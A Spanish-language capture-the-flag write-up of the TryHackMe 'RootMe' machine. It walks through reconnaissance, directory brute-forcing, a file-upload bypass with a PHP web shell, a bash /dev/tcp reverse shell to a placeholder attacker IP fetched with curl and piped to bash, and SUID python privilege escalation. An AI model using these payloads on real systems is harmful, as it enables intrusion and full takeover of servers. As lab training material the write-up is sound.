Máquina RootMe — TryHackMe
Writeup de la máquina RootMe en TryHackMe.
Primero verificamos si tenemos conexión a la máquina para poder iniciar un scaneo de namp. Mandamos 2 trazas icmp a la máquina objetivo.

Por ver que la TTL=63 podemos casi estar seguros que se trata de una máquina Linux, y vemos que sí llega, ahora haremos un scaneo de nmap.

Podemos ver qué puertos abiertos tiene:

Recordemos que las versiones de SSH de 7.7 o inferior son vulnerables a una enumeración de usuarios y contraseñas. Ahora podemos ver el puerto 80, por lo cual yo puedo acceder a este servidor web, poniendo la ip 10.10.142.144:80 y debería poder acceder sin problema, al menos que esto se esté haciendo uso de virtual hosting. Para saber un poco sobre la estructura de la página podemos utilizar whatweb que es como un Wappalizer pero este en línea de comandos, que será lo que haremos a continuación.

Ahora podemos ir al sitio y revisar que hay.

Como no vemos nada interesante, lo que haremos será un ataque de fuerza bruta a los subdirectorios del dominio para que podría ayudarnos a indagar más por el sitio web. en este caso quiero hacerlo con WFUZZ y con DIRB para que diferencia hay entre ellas, pero se puede utilizar cualquiera de las dos.
Fuerza bruta con dirb http://10.10.140.144/

Para WFUZZ descargué un diccionario de github, el cual dejo a continuación wget https://raw.githubusercontent.com/daviddias/node-dirbuster/master/lists/directory-list-2.3-medium.txt

y con ese diccionario es con el trabajaré en wfuzz.
En este caso fué mucho más rápido wfuzz.
Y lo interesante que encontramos fué:

Ahora intentaremos a acceder a los directorios para ver que hay de interesante.

Aquí no vemos nada ineteresante, pero vamos a ver a panel.

Aquí podemos observar que nos deja subir algunos, archivos, pero vamos a darle un vistazo para ver si hay alguna restricción de tipo de archivos.
En este caso cree un archivo de texto, donde mandé un hola amigos y pude verlo reflejado en uploads, lo que ahora quedará hacer es ver si podemos subir archivos php para así poder obtener una reverse shell remota.

Para esto sabemos que es un servidor apache2, el cual nos permite ejecutar código con extensiones php y html, entonces ya sabemos que php es el backend y html el fronted, el que nos ineteresa más es el backend
Entonces haremos un archivo php el cual nos permita obetener ejecución de código remoto.
<?php
- echo "<pre>" . shell_exec($_REQUEST['cmd']). "</pre>";
?>
Este código php nos dará la manera de ejecutar código de manera remota, no es lo mismo un shell que ejecución de código remoto.
Una vez teniendo este código, debemos subirlo como phtml, para después ingresar al archivo y poder ejecutar comandos de manera remota. Por ejemplo aquí hay una manera de escribir la sentencia para un ipconfig.

el código lo ponemos en la url poniendo en seguida de phtml ?cmd=whoami ejemplo de código de ejecución whoami.
Ahora para poder tener un rever shell debemos crear un servidor en python y subir un archivo, en este caso el archivo se llamará index.html el cual contendrá el siguiente código.
- #!/bin/bash
- bash -i >& /dev/tcp/<ATTACKER-IP>/1234 0>&1
Una vez que tengas el archivo es recomendable dejarlo en una carpeta que esté sola para el archivo, entrar a la carpeta, abrir una terminal ahí mismo en la carpeta y levantar el servidor python de la siguiente manera:
python3 -m http.server 80
Donde decimos que levante un servidor http en el puerto 80.
Ahora este lo mandaremos llamar desde el sitio web donde ya tenemos ejecución de código de remota con el comando curl, pero antes de esto, debemos poner nuestro puerto en escucha con el siguiente comando:
nc -nlvp 1234
Y ahora sí, podemos obtener la reverse shell como se muestra a continuación:

le tenemos que decir que debe ser interpretado por bash | bash y esto debe que verse como cargando siempre y quiere decir que ya obtuvimos la reverse shell como se meustra a continuación.

Con esto ya podemos hacer varias cosas, por ejemplo, yo me descargué una shell interactiva programada en php que ya está con tratamiento TTY y funciona como shell de ejecución remota, no es lo mismo que reverse shell, entonces para poder hacer esto, subí el código php, el archivo llamado shell.php a mi servidor para que desde la reverse shell la pueda descargar la máquina objetivo, y después poder abrirla.

Ahí podemos observar el archivo shell.php

Lo abrimos y podemos obtener un shell de ejecución de código remota.

Ahora haremos una escalación de privilegios. Para esto podemos ver un comando el cual nos permitirá encontrar archivos que nos permiten ejecutar como su o mejor dicho root, el comando es el siguiente:
find / -perm -u=s -type f 2>/dev/null
y aquí podemos ver que podemos ejecutar python como si fureamos root.

Entonces podríamos abrir una terminal y probablemente ahí mismo hacer el archivo pero no podemos abrir un nano. Entonces, lo que haremos es crear el archivo en nuestro servidor y que lo descargue la máquina victima.
el archivo que pondremos en el servidor es:
import os
os.setuid(0)
os.system('bash')
# queremos un usuario root, el 0 es el id de root
# y queremos que nos des una terminal

Aquí podemos ver que ya vamos a jalar el archivo de nuestra máquina local.

Ahora lo ejecutamos de la siguiente manera.

y vemos que ya somos usuarios root, ahora lo que queda es hacer un Tratamiento de la TTY para poder tener una buena shell.
